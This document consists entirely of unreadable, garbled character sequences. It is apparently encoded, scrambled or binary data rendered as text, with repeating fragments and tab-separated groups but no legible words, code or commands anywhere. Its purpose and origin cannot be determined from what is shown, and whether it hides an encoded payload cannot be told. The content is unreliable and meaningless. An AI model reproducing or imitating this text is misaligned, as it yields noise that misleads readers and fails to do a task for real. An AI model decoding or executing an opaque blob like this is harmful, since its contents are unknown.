6:}VSn'26k_Q[L@ 31X:UbW&R2UN]LQ 3RfQh	
ZV_4WP	C oV3S2sT_1[c@ `DXU~W8R0UP]eQ1RgQR	:ZSl;hWM	]2_VSEV0U"_5[SB R6X.UnW RUj]CQ1RgQR	:Zd@3JWg	C&sVSm#41z_3[e4 DX.UDW<R7UN]}Qd3RfQh	$ZM@#jWc	4 OVSlS l_[[O 2XUjWRU6]aQ0RQZ	
ZU_4WQ	]3V3S2c2U:_4[V_ 3X:UjWR	Uj]_QRQR	 ZY5#HWS	isVSDjE-_o[dk F6XUPW&R7UQ]4QR9QJ	eZQ5rW`	BkVSGf1X_v[UB t1X9UbWRUk]8QRdQI	$ZSAGW`	hcOVSn?`V>_r[SB 53X>UHW8R0U^]}Q9RQ5	ZZO|Wg	k25VSlv6m2_4[[O 35XeUPWR	Uk]GQRdQZ	eZM@#jWO	SsV3SFr0T_G[[B 9NXgUvWRUA]8Qc6R9Qh	'ZRB?TWU	CsV3SFD7H_q[SO D1X?UHWRUh]eQ63RfQh	eZMB?TWU	CsV3SFWE`_Q[O6 =AXUnWRUQ]8Q"RQt	gZVR;5W[	i_VSlrH_i[S@ 5LXgUjW.R	UN]eQbRdQ5	ZQj_WO	F"kVSE;h 3_U[`R 2y7XfUTW-RU^]KQRdQw	cZRO0}Wg	B.OV6SD<x0W=_1[X5 %L7XfUHWR7UQ]5QbRgQV	%ZZA?5W`	AuV6SEj1l9_C[S@ 5NXUTW`RUB][Q$RQt	ZVi5W[	7~V SUD0"_5[SO 6t1X:U@WR7UB]aQ7RQd	ZMP_WO	F"kVSE;NV_r[SA 9n6XU7WfR7U5]CQRQI	$ZSAGW`	k>uV3SD;232=_r[Ri RXU3WRUh]eQ61R?Qw	bZc_5W`	AuVSkD0U_C[SO 9nXUbWfRUk]yQ$RQ5	ZN6;GWW	]>VVSWb56m=_q[SB 9RXU3W.R7UA]zQ.3RdQ4	$ZK6?IWg	C MV3SGT0_Q[c@ YXUjW8RUQ][QRQt	9Zek@W`	k>VVSWb511_@[[@ OX?UTW:R	Uh]KQ6R?Qt	gZb@#NWO	M 5V3SHx0U_3[Ri 36XULWRUP][Q< R.QJ	
ZV_4Wg	]3V3S3q7G_\[e4 D5XfU~W-RUB][Q0RQZ	
ZU_4Wa	4@VSHWX1_i[SB =n6XUDWR	Uj]\QbRQx	eZVQ35WT	A3V3SzO6k_S[c@ azX U@WR	UC]KQ7RQZ	
Zd4BWc	7.~VSDT z_\[dR 5t1X8UPWR7U@]_Q1R:QV	)Zd@KWa	PgoVSG#232=_P[Oi 90XU7WfRUj][Q$0R QI	fZMR3nWS	S3VSl?26k_w[cO NXU\W.R7UA]GQ$RQN	ZePg|WT	C ~V3SX1Ud_}[UP {XUPW.R	Uj]\Qe7RQc	cZbk?IWg	C MV3SGT0_Q[cA 9{1XUbW`R	Uj]eQd6R?QZ	!ZbOHWL	]}V3SG x32_\[O_ nX?UjW-R7U^]CQfRgQV	)Za_?}WU	M25VSm#rk!_v[Pj %VXUDW;R7U7]eQ"1RgQR	 ZMj#JWO	F"^VS3?WX_l[WA 5DXfU~WRUl]_Q<RQB	)Za_?hWU	M25VSm#r1k"_4[PP `DXU@W-R7U^]CQReQA	fZeP34Wa	4 oVSjHE_p[dA DXUTW&R2U@]GQ3RdQ5	ZN6;GWW	]>VVSWb5E_s[T_ 90X.UnW8RUP]GQbRQZ	fZd5#jW`	Q:kV3SF4X_r[UP ay1XUPW.R U6]HQe3R.QI	fZbiBWX	S@VSHj1n_\[ci 36XULW&RUl]LQ%RQZ	$ZMOTWL	B~VSUjE-_o[eP OXUPWR	Uj]GQ$RdQ5	gZVA3BWW	7.oV3SXq7H_\[e4 D5XfU~W=R U4]uQ3ReQR	
ZU@?6WU	Bc}V3SG x30a_r[J6 9O1XUPWR7UA]GQRdQZ	ZbBJWL	BkVSjj1n_\[b_ 36XULW&R
Uj]jQf1RfQZ	:ZcRvW[	7cuVS3?WX_P[U5 5vXUbWfRUk]yQ$R?Qt	 ZQj#lWO	B:3V3S0j1n_\[ci 36XULW&RUl]LQ%RQZ	$ZMOTWL	BNVSEV0U"_5[[B 9NXgUvWRUA]8QcRQF	 ZOQ;GWW	]>VVSW 4U_W[dA DXUvWRUA]zQbRQF	Zek@W`	@NVSH51j_\[cj 5HX8U\WR U4]XQ%ReQA	fZdB4Wg	@oiV3SXWU_r[RA =AXUnW.RUC]_Q<RdQt	
Zd5hWg	hsVSn'O0`_1[TP %l7XU3W8R Ul]\QcRQZ	ZK4?5WL	] }VS2o21_0[L@ %YXUnWR	Um]HQ%RQR	 ZY5#jWL	]:OV6SF51j_\[cj 5HX>UDW&RU@]@Q-6R9Qh	
ZMO_WO	M AVSGfrU:_4[SP `D1X>UDW8R	Ul]KQ 3RfQZ	 ZdOjW[	hciVSD<v31>_5[NB =nXUTWRUk]uQ"RQZ	ZOPNWa	P3VSmsD_v[Oj %NX8U\WR	Um]HQ%RdQt	
ZbjIWQ	S uVS1?S0`_i[e7 RXUPW:R1Uh]}Q RfQg	fZbjTWM	@RVSm2 0_C[NO yXU3W:R Uj]DQ 3ReQB	ZM4jWU	A5V ST0 U%_i[c@ HXUHW RU7]eQ R.QI	cZOOWU	BciVSkVU!_i[J4 906X>UbWRUP]KQaRQR	&ZViwWf	nQVS13{6S!_7[dB k0X:UHWeRU4]eQ93R=Qt	<ZZi]Wf	h>2VS0c229_j[Ul !kXdUbW%R2UQ]jQb0RQE	$ZSAJWU	Bc5VSn?t0U_\[dP 5l7XUbW.R7UN]LQfRQB	&ZN6;GWW	]>3VSm#W 2_l[cj `DXUjW:R2UN]OQd1RgQR	$ZNR?TW`	o2]VSV7E_v[WP %26XeU@WfRUh]}Q3RdQZ	ZU_?IWc	4 uVSk;ET_1[WR =n7XUPWR	Uj]_QRQB	'Zd@TWU	A5V6SG{ j_O[e4 DXUjW R7U@]GQ$RQw	+Zd@fjWW	nguVSmbD0_r[RA A6X9U3W&R	Uk]uQd3RfQZ	$ZM@fJW`	:kV4SU;rX_V[W_ yXU@W`R	Ul][Q R QN	ZeR;hWP	C oVSjHE_r[S@ %lX?U7W&RUj]@QdRQF	ZeAJWM	CkVSV3I3m9_j[NP )[5XUPW'RU5][QbR9Q8	$ZSAGW`	hcuVSm/210e_}[c7 2yXfU~WR7U@]eQ1RgQV	Zbj#hW`	M2NVSG7E_p[dB :z1XUPWR	Uj]_QRQB	
ZdOjWW	h.iVSF232=_r[cj %n6XUbWRU@]eQ"6R?QZ	gZTR?JW`	n_VSjHE_p[dO 9n5XeUPWR	Uk]GQ0RQZ	
ZUP3JWU	B:OVS0;B0U_\[T_ 2XUTWfR2U@]GQ$RQI	$ZSAGW`	k>5V6SGfSW_v[UR zXUPW.R7US]_Q"3RgQR	 ZY5#BWW	6:MVSkWE_o[dk F6X:UnWRUQ]8Q"3RfQZ	 Zd5#hWg	@23VSm#W 2_l[`P `lXU~W`RUR]LQb7RQZ	!ZVR3hWT	A2]VSV5E_p[dO 9nXUPW.R7U@]eQf3RQd	ZT7;hW`	@ouVSk;K1_Q[cj `DXU~WRUC]aQ%1R9Qg	$ZT5#TWW	7 oV3SGc3131_[X5 %36XUHW&R2UB]HQ 6R9Qg	+ZbB?TWU	M5V6SFr12_r[LO R6X8UPW<RUl]OQRQF	&ZeAJWU	Bc5VSn?t0W-_o[[@ %n6XUbW RUh]aQ R.QJ	ZZBHWO	RuVSl?[6m_}[Wj %RXU3W&R7UA]uQ=3RdQZ	ZeR;hWP	C oVSjHE_p[dA LXU3WfRUh]eQ"0RQx	9ZZ@#hW`	M2}VSm2 0`_O[RP 5lXU~WR0U@]CQ$1RgQQ	+ZTR?TWU	M5V6SFr12_r[LO R6X>UbWRUP]KQcRQF	&ZeO?hWU	C }V3SF?03H1_O[eO lX9U~WRU6]aQ'3RdQZ	?ZZBHWO	RuVSl?h1z_l[e7 9RXUTWfR2U@]GQ$1RfQZ	$ZMOTW`	o2]VSV5E_p[dO 9nXUPW.R7U@]eQf3RQd	ZbiBWg	B5V6SDp7D_r[N_ 9nXU\WRU7]CQbRQZ	ZN6;GWW	]>VVSWb57G_\[W_ 3XUPW;R7U6]aQ3RdQZ	gZMj#BWg	@OVSm/q6n1_O[RP 5LXUTWfR2U@]GQ$1RfQZ	$ZMO_W[	6&VVSGb5E_p[cj %n6XUbW&R	Uh]eQ7RQJ	eZY4jW[	h:MV4SD;k6m2_4[`i 6{XUjWR2U@]_Q7RQZ	!ZVR3hW[	nsVSl?SE-_o[dk F6X:UnWRUQ]8Q"3RfQZ	 Zd5#hWa	AsVSknK0`_\[ci D1XU3W R Uk]CQaRQR	&ZeABWO	@uV6SFO30`_Q[O6 A6X:UvWRUA]8QcRQF	&Zbj#5W`	BuV6SF?03H1_O[eO lX9U~WR7UN]OQ3RdQ5	ZSP3JWU	M5V6SFrU_r[RA A6X:UnWRUj]eQg6R9Qh	 Zb@#hWg	@23VS3'W3_P[[B NXU7WfRUj][Q$0R QI	fZMR3nWS	SEVSm#W 2_l[U_ DXU~WRU@]eQg6R9Qh	 ZbOhWa	A5VSGbWU_r[RA A6X:UnWRUj]eQg6R9Qh	 Zb@#hWg	@23VSjv6m2_}[cO 6{XUjWR	Uj]eQbRQZ	ZU_0}W`	noOVSjtX_@[Oi NXU7W`R7U7]GQg6R9Qh	 ZbB3BWU	C OV6SFS7G_w[WR 5nX?ULW RUj]eQRQ5	&ZN6;GWW	]>VVSWb57G_w[WR 5nX9U3W R1UA]CQ<3RgQR	 ZY5#jWg	iOV6SD;t7D_r[NP "zX>UDWRUh]aQ R.QJ	ZU_?hWc	4 OVSmB0U_\[TR 9NXgUvWRUA]8QcRQF	&Zbj#5W`	BuV6SF?03H1_O[eO lX9U~W.R	Uk]GQd RdQ5	ZSP3jWQ	R.MV4SFr13_}[UR 9RXUTWfR2U@]GQ$1RfQZ	$ZMOTW`	o2]VSV5E_p[dO 9n5XeUPWR	Uk]GQ"0RQx	9ZZ@#5W`	BuV6SD<{ 3_l[e4 6{XUjW&RUk]DQ R?QZ	eZbO4WP	BcuV3SG/k30_Q[dR =nXUPW<RUl]OQRQF	&ZeAJWU	M5V6SFr32_1[S4 6zXUPW.R7U@]GQ RgQR	9ZZBHWO	BcOV3SD<{12_r[LO YXgUvWRUA]8QcRQF	&Zbj#5W`	BuV6SF?03H1_O[UP %D1XULW&RUh]eQ RfQZ	 Za_6WQ	P:iVSl?16m=_V[cO n7XUDWfRUQ]CQaRQR	&ZeAGW`	hcuV3SG/k32=_\[eP 90XUvWR	Uk]uQ$ RfQR	
ZQ73hW`	B:5V3S0;K0_l[cB 9RXUTWfR2U@]GQ$1RfQZ	$ZMOTW`	o2]VSV5E_p[dO 9n5XeUPWR	Uk]GQ"0RQZ	
ZeP0}WO	A:3VSm#W 2_l[cj `HXgUvWRUA]8QcRQY	$Zek@W`	k>CVSj?VU!_O[T_ lX9U~WRUP]KQcRQZ	:Za_|W[	oNVSF?t6k_1[cj `26X>UbWRUP]KQcRQZ	:Za_|W[	oNVSF?16m=_V[c@ %nXUPW<RUl]OQRQF	 Zb5g|WW	i}VSmt6k_i[T_ 9nXUPW.R	UC][QRQI	$ZSABWO	M&VVSG/w1z_0[e7 =RXU3W&R	Uk]uQd3RfQZ	$ZM@fJW`	o2]VSV5U!_3[Wi hXU@W`R	Uk]yQ RfQZ	:ZbjfBWU	M:NVSG7E_p[cj %n6XUbWRUk]8QRdQ5	%ZZBTWa	2]VSV533_0[e5 %l7XUvWfRUC]_Q"3RfQZ	 Zd5#hWa	AsVSl4131_s[ci zX>UPW8RUR]LQ%RQB	
ZbiBWg	BcsV3SW 2U_W[dA l6XUTWRU@]eQ"6R?QZ	gZbjfvW[	7uV3SG/k322_4[dR 5lXUTWRUh]HQb7RQc	cZa_?6W`	63V3SWnt32_v[e5 %n1XUbW`RUk]yQ RfQZ	:ZaPfjWO	R.3VST40`_[`_ 906X?UTWRUl]OQRQF	&ZeO?IWU	C5VSn'0331_s[NP n1XUTWRUA]9QdRQF	ZeAGW`	@NVSH5U!_i[S@ azX:UjW.RU6]XQbRQV	)Za_?IWU	C5VSn'0336_5[[@ 2XeU\WR7UB]KQ RQZ	eZbB4Wc	7.}VSj0W_0[W_ 0XUvWR	Uh]OQ1R.QA	bZeR3jWT	A:@VSE;1 z_3[L_ {X9UTW<R7U4][Q R.QI	bZT74W[	nguV6SD<yV>_r[eR =n1XUPW.R7U|][Q RfQZ	$ZT_rWL	]:OV6SF4 l_[[O 2XUDWfR	Uk]uQ0RQR	)Za_0}WS	hoV3S2s7H1_p[O6 =AXUnWRUQ]uQRQB	)ZOB;hWS	PMVSm/tW_@[NP HXU~W8R7UP]CQ' R.QN	Zd5fBW`	|"iVSm#V 2_G[S@ %37XUvW&RUB]OQfR QJ	 ZaP$|WU	C OV3SE;OX_Q[U_ DXU~W:RUk][QRQo	cZQj3TWM	]OVSjv0%_F[Wl =nXUrW`R7U4]9QdRQF	ZeAGW`	@NVSH5W_G[J5 5n7XUTWfR U5]eQ$3RdQo	$Zd_5Wa	AsVSn'J13_v[Pl =YXUTWRUj]eQ1RgQV	fZc4?6Wa	7:3VSl?W13_\[eP 90XU7W&RUh]jQ.3RdQZ	gZQ73hW`	B:5V3S0;K1n_O[b4 906X>UbW8R Ul]_Q<1R:QV	
ZbiBWg	BcsV5SGj33_v[X5 %lXUjWR2U@]_Q< R?Q4	cZZ@3TWM	]:iVSkVW_G[J4 906X>UbWRUP]KQcRQF	 ZQl?TWa	>MVSkD 3_0[L4 37XULW:R7U^]CQ'7RQZ	
ZV_5WU	M hV3S0;QW_v[U5 %LXUjW-R7U^]@Qc1R>QN	
Zbj34Wa	4 oVSjHE_p[dO RXUTW:R U7]eQ"RQY	bZVl<Wg	M:}V STQ1k-_F[Wl =nXUrW`R7U4]9QdRQF	ZeAGW`	@NVSH5W_G[SB 53X UHW.R7UN]OQRgQV	)ZVPFWO	@>VVSWb511_@[[@ 5n7XUTWfR U5]eQ$3RdQo	$Zd_5Wa	AsVSn'J13_v[Pl =YXUTWfR2U@]GQ$1RfQZ	:Zd73JWg	]3V3S3q7G_\[W_ 3XUPW;R7U6]aQ3RdQZ	gZMj#BWg	@OVSm/q6n1_O[R_ 2XUHW`R7U4]9QdRQo	cZZO4WU	Bc5VSn?t0W-_o[[@ %n6XUbW RUh]aQ R.QJ	ZZBJWL	BiVSD;43_s[Wj R7XeUPW<RUl]OQRQF	&ZeOTWP	BiVSnD6k!_1[c@ %HXUPWfR7UN]LQ.0RQZ	eZSi5W`	@MV SV16m=_V[cO nX:UbWRUh]aQ-7RQd	)Za_?hWU	C }V3SF?03H1_O[UP %D1XULW&RUh]eQ RfQZ	 Za_6WQ	P:~V3SU;{7H1_p[O5 HXUTW-R7UP]eQ"6R?QZ	gZbjfvW[	7uVSm/212_l[e7 5LXUjW-R7U^]@Qc1R>QJ	+ZK4?6WL	BcuVSm/232_1[S4 6z5XeUPWR	Uk]GQ R QI	bZbO4WQ	P:~V3SX51j_\[cj 527XeUPW<RUl]OQRQF	&ZeOTWP	BiVS1?tW_4[Wl :y1XUjW.RUR]\Qc0RQ5	ZU_5W[	kiVSn?`0U_w[d_ z1X:UbWfRUj]@Q RQR	
ZVj#5W`	BuVSn;{7D_\[cB 5nXUPW.R1UC]GQ<1R:QB	ZZO?6WL	BcuVSm/232_1[S4 6y1X9U~W.R	UA]yQ$1RfQw	fZY4jWL	R&3VSTq7D_F[[O tX9UTWRUh]eQ$RQt	 ZVl;JWW	5gMVSn?rU!_O[WR 5nX?UTW&R	Uk]GQ=3RdQZ	
Zb@TWa	7:3VSl?W13_\[eP 90XUTWfR2U@]GQ$ RgQR	$ZT5#JWQ	P:~V3SXwX_V[b7 5pX:UHWR1Uk]uQgRQY	bZVl34WO	R.OVSlv0`_Q[ci D1XU~W RU7]eQ 1RfQR	&ZY5IWQ	S OVSkD0X_P[S@ %nX9UHW&RUj]eQ$RQZ	$ZY73TWW	5VSlD33_v[X5 %DXUjWRUN]CQRQo	bZcP#jWS	o>~VSnsU!_F[S@ 5n7XUTWfR U5]eQ$3RdQo	$Zd_5Wa	AsVSn'J13_v[Pl =YXUbW&R2UB][Qb RfQh	ZURTWa	7~V3SV?t6k_1[cj `pXfUTW.RUk]GQdRQR	:Zd7|WW	i OV3SGj ka_5[[B R7XeUPW<R7U4]XQ%RQR	:ZaPfjWO	R.iVSD;40%_F[Wl =nXUrW`R7U4]9QdRQF	ZeAGW`	@NVSH51j_\[e5 527XeUPW<RUl]OQRQF	&ZeO?hWU	C }V5SD;WH1_o[O6 =AXUnWRUl]OQ3RfQh	 ZTP#JWW	2]VSV5E_v[WP %2XU3W&R	Uk]uQd3RfQZ	gZR40|Wc	4 OVSmq0W2_}[cO 6{XUjW:RUh]CQ'1R:QV	)ZVPIW[	6&VVSGb5E_v[Pl 9R7X.UnWR U4][Q0R QJ	 Ze_WP	Q:3V3Sz0331_@[W_ 27X-UrW`R7U4]9QdRQF	ZeAGW`	k>}VSEj0!_\[cj n7XUHWfR2UC]aQ'RdQ5	gZSj#jWL	QuVSm00%_V[eB 2zX UDW8R	Uk]yQb0R QJ	ZOPvWQ	S OV3SE;t6m2_4[[O 06XdU7W8R7UP]CQ6R?QZ	Zb@3HWS	V"iVSEV33_0[`R =YXUnW-RU7]eQ"RdQp	 ZM@#TWW	7:OVS0;20U_s[S@ azXUHW.RU7]CQb RdQo	$Zd_'JWX	V"iVSnD6k!_1[c@ %HXUPWfR7UN]LQ.0RQZ	eZSi5W`	@MV SVj z_\[W_ 21XUHW`R7U5]CQ'3R.QJ	:ZM@BWW	5sVSl?SF_\[`R 2yXULW RUj]eQRQ4	cZZBTWa	4 oV3S2sG_r[e5 %lX UDW8R0UP]eQ1RgQR	:ZSl;hWM	]2_VSEV0U"_5[NO yXU3W:R7U^]CQRQI	$ZSAGW`	k>VVSmnS7Ed_F[Wl =OXUrW`R7U4]9QdRQF	ZeAGW`	A:]VSV5E_r[dk F6XUjWRUP]KQaRQR	 ZQl?TWa	>MVS2D0X_O[Rl 2zX8U\W.R Ul]OQfR QJ	
Zbj#hWU	BcuVSGD1z_\[X6 5lXUjW8R7UN]eQ 1RgQR	
ZbO4WO	QOVS2o3 U_Q[O@ O1X8U\WR	Uk]uQ"RQB	eZd@#5W`	Q2sV3SD;232_l[e4 l1XU\WR U7]eQ  RdQx	ZUiIWP	@}VSj;k6m=_G[S@ zXU3W&RUQ]CQfRdQp	 ZM@#TWW	5&OVSlO12_r[`P 5LX ULW8R7UP]CQ3RfQh	 ZZOIWS	Q:kVSl00%_F[Wl =nXUrW:RUB]fQ 1RdQo	cZZB?HW[	6&VVSG/BF_[N@ %3XUbWRUj]CQ3ReQk	$ZdP#5W`	BuV6SFW1z_G[eP nXUjWR2U@]\QbRQR	!ZVR3hW[	h5VSn8vX_Q[dP ayXUPWRUl]\QbRQV	)Za_?IWg	h.OVSmfq7H1_i[SB 5lX>UDWfR	Ul]aQ"RdQ5	gZQl4Wg	okVSjjE-_o[dk F6XU?W R2UC]4Q$6R9QZ	 Zbj#JWP	BsV6SH8v6m2_0[`_ 90X9UTW&R7UA]uQ=3RdQ5	)ZVPFWO	@>VV6SD46j_l[T_ lXU~WRUC]fQ 6R9QZ	:ZdOjWW	h.3V3S2c2U_W[dB 5l7XUvW&R2UN]aQ3RfQZ	ZU_0|WU	C5V6SDj7H1_p[O6 =AXUnWR2UN]OQ&3RfQh	fZVP#hWT	C3VSl?W13_[X4 9nXU\WRU7]CQbRQZ	ZVPFWO	@>VVSl?16m=_V[cB z6X?UTW:RUk]4Q< RQB	)ZN6;GWW	]>uV3SD;232=_r[Ri RXU3W&R7UA]uQ=3RfQh	
ZeR;hWa	PsVSkD7G_U[cA 5L6X.UjW:R7UQ]4Q"3RgQR	 ZY5#jWU	M NVSm7E_p[dO l6XU@W`R	Uk]yQ RfQZ	:ZbjfvW[	7uV3SG/k322_4[dR 5lXUTWRUh]HQb7RQc	cZa_?6W`	63V3SWnt33_v[X5 %lXUPW;R7U6]aQg6R9Qh	 ZbB35Wa	@ouVSk;KU"_r[[O 27XeUPW8R U4]CQaRQR	&ZeAJWU	M5V6SFrU_1[X5 YXUTW.RU7]eQd R>QN	gZbOhWW	k:sVSlSD_r[P6 vXUbW=RUC]GQ<7RQd	Zbj#5W`	BuV6SF?03H1_O[UP %D1XULW&RUh]eQ RfQZ	 Za_6WQ	P:NVSG7E_p[dA LXUDWfR	Uk]uQ0RQR	)ZR@3JWW	6 uV3S0WU_r[RA A6X:UnW.RUC]_Q<RdQt	
Zd5hWg	hsVSn'O0`_i[[O 2XUDWfR	Uk]uQ0RQR	)Za_?6WX	POVSjQ z_l[UP %lX ULW&RUk]XQbRQR	
ZU_BWP	R:sVSl41z_3[XP `lXU~W:R
Um]GQ<3RgQQ	fZSl;BWg	k3VSW0W_0[`R 5lX U@W.RUk]GQ RQZ	ZOPnWU	C5VSkq0T_V[d_ y1X9U@W R2UB]KQ$RfQJ	ZZO?6WL	BcMVSn;W1z_1[[O 2XUHW`RUQ]CQfRgQV	)ZVPFWO	@>VVSWb511_@[[@ 5OXU3W8R U6]aQ3RdQt	
ZUP3JWX	]23VSmD 3_0[L4 37XULW:R Uj]GQ RfQR	ZMR;TWW	_VSlr0`_1[Ri nX?UvWfRUh]eQ ReQB	?ZRB;5Wa	BMV6SF4U%_}[eP nXUjWR2U@]\QbRQR	
ZY5?6Wa	7:3VSm#W 2_l[cj `pXfUTW.RUk]GQdRQR	:Zd7|WW	i OV3SGj ka_5[[B LXUrW:RUB]fQ 3ReQk	cZZB?HW[	6&VVSGb5E_s[T_ 9MX>UDW&RUR]\Qc0RQ5	ZU_5W[	kiVSmj1n_\[eO lX9U~WRUh]eQ=1R:QV	)ZdPIWU	M:}V3SE;rV>_r[eR z1XUHW R2UB][Q&RQo	cZZO4WU	M5V6SFr32_1[S4 6z5XeUPWR	Uk]GQ'0RQg	+ZbO0}WO	B:3VSUV0U"_5[NO yXU3W:R7U^]CQRQI	$ZSAGW`	k>}VSEj0!_\[cj nXU\WRU5]eQb1ReQk	cZZO4WU	M5V6SFr32_1[S4 6zX UDWfR2UB]KQ$7RQE	$Za_?KWS	iMVSks7H1_p[O6 =AXUnWRUQ]uQRQB	)ZOB;hWS	POV3SD<{13_r[Pj 527XfUjW`R	Uk]yQ RfQZ	:ZbjfvW[	7}VSm 330`_O[R_ 27X.UnW-RU7]eQ"RgQV	)ZVPFWO	@>VVSWb511_@[[@ 5OXU3W8R	Ul][Q R QN	gZe__WL	BNVSG7E_p[dA D6XeU@W`RUP]GQbRQZ	fZd5#jW`	Q:kV3SF4X_r[UP ay1XUPW.R U6]HQe3RgQR	 ZY5#BWW	7.}V3SDS l_[[O 2XUTWfR2U@]GQ$3RfQZ	gZR40Wg	h.}VSG#r12"_0[X4 lXUvW`RUR]OQ'7RQF	ZZB?HW[	6 iV3SXq7G_w[WR 5nX9U3W R1UA]CQ<3RgQR	 ZY5#jWg	iOV6SD;t7D_r[`_ 9MX8U\W RUB]_Q1R:Qd	%ZZB?HW[	6&VVSGb5E_s[T_ 9MX:UjW8R	Uh]aQd3RfQh	'ZOP5WT	]:MV3SHO0T_1[W_ OX U\W&R7UA]uQ=3RdQZ	ZbO5WO	C@VSHj1n_\[eO lX9U~W&R	Uh]eQ7RQN	eZbOnWc	7.}V5SD;k6m2_4[`i 6{XUjW`RUS]GQ<RQx	9ZdP34Wa	7:3VSm#W 2_l[cj `pXfUTW&R7UA]uQ=3RdQZ	ZbO5WO	B@VSjj1_0[dP 527XfUjW`R	Uk]yQ RfQZ	:ZbjfvW[	7uV3SG/k322_0[L7 53X:UbW`RUR]OQ'7RQ1	ZVl;hWS	V"3V3S2c2U_W[dA A6XULWRUN]@QcRQZ	ZRB35WM	Q}V3SHB3_[WP @XUnWRUQ]8Qc1ReQB	ZZ@3hWa	P5VS3?r30:_r[e_ 37XULW RUh]}Q1RgQR	 ZQl;_WT	RcOVSm#W 2_P[TR RXU3WRU6]aQ'3RgQR	 ZY5#lWS	h~V4SEj7H6_5[cj %36XUHW&R2U@]eQf3RQd	ZTP#BWg	AuVSn?E 2_v[`_ 0XUjW-R7US]aQ-7RQd	&ZN5NWL	]OVS0;q1_0[dP 52X.UnW8RUN]CQRQI	$ZSAGW`	k>}VSEj2_}[SO O1XU~W&R Ul]OQf6R:QR	$ZMjfBWg	n&}V3SG/BV9_S[Rl 2yX.UPW&R7UA]uQ=3RdQ5	fZc4?6Wa	7:3VSm#W 2_l[cj `pXfUTW.RUk]GQdRQR	:Zd7|WW	i OV3SGj ka_5[[B R7XeUPW<R7U4]XQ%R QI	fZQk3HWS	isVSDD1_s[[B 9NXgUvWRUA]8QcRQZ	%ZU_?KWW	k:kVSn;232=_q[NP 3XUjWR7UN]OQ0R QN	gZV_IWS	QOVS116m=_V[cB 9tX9UTW&R2U@]eQRQZ	!ZVR3hW[	k3V3S1{7H1_[`_ 9n5XeUPWR	Uk]GQ"0RQx	9ZZO|W[	k2MV3SG2 j_V[WR 53XfUTWRUl]_Q< R8QB	)ZY7TWa	7~V3SV?16m=_V[c@ %n1XUbW`RUj]eQ1RgQR	 ZVR35W[	7@VSjj l_[WP 0XUrWR2U@]eQRQl	ZVjfHWL	@CVSGnjE-_o[dk F6X:UnWRUk]4Q7RQ1	 ZePhWg	]2uV6SGg4X_S[dR =37XU7W RU5]eQ1RdQt	ZNi5W[	h:sV6SDrH_F[[O 90XU3W&R7UA]uQ=3RfQh	
ZdP?6WQ	PguVSn0x30_1[P7 5n6XUjWfR7U6]aQ1R:QV	Zc4?6W`	o2kVSjN322_4[dR 5lXUnW-RUh]HQ%RQt	ZRO?6W`	o2]VSV5E_v[Pl 9R7X.UnW RUj]CQ1RgQR	:Zd@3JWg	C&sVSm#41z_3[e4 DX.UDW<R7UB]aQ3RgQR	 ZY5#JWg	]3VSjrT_\[WR 5lX:UHW`R7U7]GQ-7RQd	)Za_?hWc	4 OVSmt0W-_o[[O zX:UbWR7UA]GQd R>QJ	 ZVR35W[	7@VSjj l_[X7 R7XfUTW-R7UP]eQg6R9Qh	 Zb@#hWg	@23VSl?W13_V[WR 53XfUTWRUl]_Q< R8QB	)ZVP6WX	V"nVSm/Q30-_F[Wj `NXUTWRUA]CQaRQR	&ZeABW`	43VSUVW_G[J5 5RX UDW.R Ul]_Q<RQx	9Zek@W`	k>VVSl?16m=_V[cB z6X9UvWRUQ]CQaRQR	&ZeBGWO	@>VVSj7E_v[Pl 9R7X.UnWR U4][Q0R QJ	 Ze_WP	Q:kV3SXq0X_[TR 9LXUTW8R Ul]\QcRQZ	ZR@fjWW	i uVSj4X_3[cB 5hXU~W.R7UQ]XQ%RfQZ	 Za_IW[	okVSj4 2=_P[NP 31X8U@WfRUh]OQ= ReQB	?ZRB;5Wa	BMV6SF4X_0[`P 2X.UDWRUj]CQ$RdQ5	gZSihW[	n&5VSn?V1_i[SB 2zXUvWR	Uk]uQ6R?Q0	$ZdR|Wg	R.sVSknU 2_F[TR =n1XUPW.R7U|][Qg R.QN	gZT7?JWX	P~VST51j_\[cj 5HX>UDW&RUR]\Qc0RQ5	ZU_5W[	kiVSn?`0U_w[d_ z1X:UbWfRUj]@Q RQR	
ZVj#5W`	BuVSn;{7D_\[Wl :zXUbW RUh]eQ-7RQd	&ZN5NWL	PsV6SH'p6m2_4[[@ nXU\WRUl][Q= R.QJ	$ZbjIWg	h.OVSmJW_l[cj 5RXUjW:R7UQ]4QRQl	 ZePhWg	]2uV6SGg4X_S[dR =37XU7W RU5]eQ1RdQt	ZNj#hWM	]5V6SFrH_F[[@ %nX9UHW&R7UA]uQ=3RdQZ	eZc4?6W`	o2kVSjy32=_V[cB =nXUTW.RUk]GQ=3RfQh	eZM@#jWS	Q>~VSns1_0[L@ %YXUnWR	Um]KQ0R QI	fZY4WW	6:OVSj07l_i[S@ `lX8UPW&RUl]\QbRQR	gZVP$|Wg	QkVSjj1n_\[ci D1XUHWfRUl]_Q<RQZ	
ZV_5W[	n&MVSj;26m=_l[UP RXUTW`R7U|]_Q"3RgQR	 ZY5#lWM	S ~V3SXD33_v[X5 %DX UnW-RU7]eQ"RdQp	ZVl;IWX	V"3V3S2c2U_W[dO RXUTW:RUB]aQg R.QN	gZT53NWS	iMVSn0 2_P[J4 906X>UbWRUP]XQb1R:Qc	gZR@#jWL	RckVSl?W10_r[RA =AXU~WR U5]}Q$6R9Qh	'ZRB?TWU	M:sVS1?W z_5[S@ 5NXUTW`RUk]DQ.0RQh	ZZB?JWW	2]VSV56m=_q[T_ D1X?U7W&RUm]KQ7RQt	ZU_hWg	iuVSlWE_o[dk F6X:UnW`R U7]CQ1RfQZ	eZVj#hWT	@iVSlv13_v[U7 9RXULWfR U7]CQ R.QJ	
ZbB?HW[	6&VVSGb52=_l[X4 zX>UbW8RU@]eQ6R?Qt	ZSl4|WU	B.iVSnjX1_Q[NQ =AXUnWRUP]KQc6R9Qh	'ZU_?IWW	4}VSn'V32_P[WQ 5@XUnWRUQ]uQ3RgQV	%ZUPBWW	62uV6SE;E 2=_r[L@ azXU@W`R7U6]XQc R8Qk	gZSi|W`	h~VSGnt12_0[Pj azXU3W&RUk]8QRQt	9Zek@W`	k>VVSl?B6k!_Q[Rl 2zXU~W8RUR]OQRQp	ZL4hWg	P@VSj{ 2_o[ci n1XULW RUl]aQ"3RdQY	+Zc73vWW	h:iVST0U_r[RA A6XUjWRUP]KQcRQh	:ZMjfjWS	ikVSj?01n_i[J4 9OXeU@W.R	Uh]}Q 3RfQZ	ZO@36WX	S oVSjHE_r[dk F6XUTWRU5]eQ6R9QZ	:ZeP#TWg	]:}VSH?40`_@[[B =n6XUDWR	Uj]_Q<RdQw	